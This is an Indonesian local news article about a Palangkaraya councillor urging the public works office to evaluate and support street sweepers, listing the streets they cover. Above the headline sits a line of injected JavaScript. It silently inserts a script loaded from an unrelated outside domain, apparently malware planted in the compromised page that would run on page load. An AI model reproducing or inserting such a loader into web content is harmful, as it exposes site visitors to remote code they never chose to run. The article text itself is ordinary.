(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Maksimalkan Petugas Kebersihan Kota, Dinas PUPR Diminta Lakukan Evaluasi

KANALKALIMANTAN.COM, PALANGKARAYA – Anggota DPRD Kota Palangkaraya Khemal Nasery minta dinas terkait mengevaluasi tim petugas kebersihan atau penyapu jalan untuk peningkatkan kinerja.

Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) tentu mempunyai peran penting terhadap pelaksanaan teknis petugas kebersihan atau penyapu jalan sebagai ujung tombak kebersihan.

“Kepada petugas lapangan yang membersihkan jalan raya, supaya lebih memprioritaskan tanggung jawab dan memperhatikan tempat pembuangan sampah setelah dibersihkan pada tempat yang selayaknya, bukan di parit-parit atau aliran air sepanjang jalan,” ujar Khemal.

Sampah yang telah dibersihkan di sepanjang jalan, ketika kembali dimasukkan ke dalam parit-parit beresiko akan menghambat aliran air.

Untuk lebih memaksimalkan tugas pokok dan fungsi, dinas terkait agar terus memberikan evaluasi dan edukasi kepada tim dilapangan, serta lebih memperhatikan peranan petugas.

Dinas PUPR Kota Palangkaraya memiliki Bidang Kebersihan dan Pertamanan, dipimpin oleh kepala bidang yang mempunyai tugas melaksanakan sebagian tugas kepala dinas di bidang kebersihan dan pertamanan, meliputi operasional kebersihan jalan dan lingkungan, serta pertamanan dan permakaman.

Melihat kondisi di lapangan, maka sangat dibutuhkan penambahan tenaga kerja yang dinilai masih kurang di sejumlah titik ruas jalan, dengan tujuan memaksimal peranan dan efektifitas pembersihan.

Selain itu, protokol keamanan dan keselamatan kepada petugas juga dinilai masih kurang, guna menghindari resiko kecelakaan menimpa petugas yang sedang bekerja.

“Kita sangat menghargai dan patut mengapresiasi atas kinerja tim penyapu jalan, tanpa mereka maka kita tidak akan menikmati kebersihan sepanjang jalan,” ujar Khemal.

Namun untuk lebih memaksimalkan hal itu maka sangat diperlukan upaya edukasi dan evaluasi setiap saat untuk diingatkan. Sepanjang jalan tersebut, dibagi sembilan kelompok yang menyebar di sejumlah ruas jalan protokol dan Bundaran Besar Kota Palangkaraya.

Selain menyapu, sebagian dari mereka ada yang bertugas membersihkan selokan, memotong rumput, dan merawat tanaman di sepanjang trotoar jalan.

Adapun ruas jalan yang disapu adalah Jalan Tjilik Riwut, Garuda, Yos Sudarso, Bundaran Besar, RTA Milono, G Obos, Diponegoro, dan Ahmad Yani. Kemudian Murjani, RA Kartini, Ais Nasution, KS Tubun, Wahidin, Galaxi, Kinibalu, Piere Tendean, MH Thamrin, Tambun Bungai dan Bundaran Burung. (Kanalkalimantan.com/tri)

Reporter : tri
Editor : kk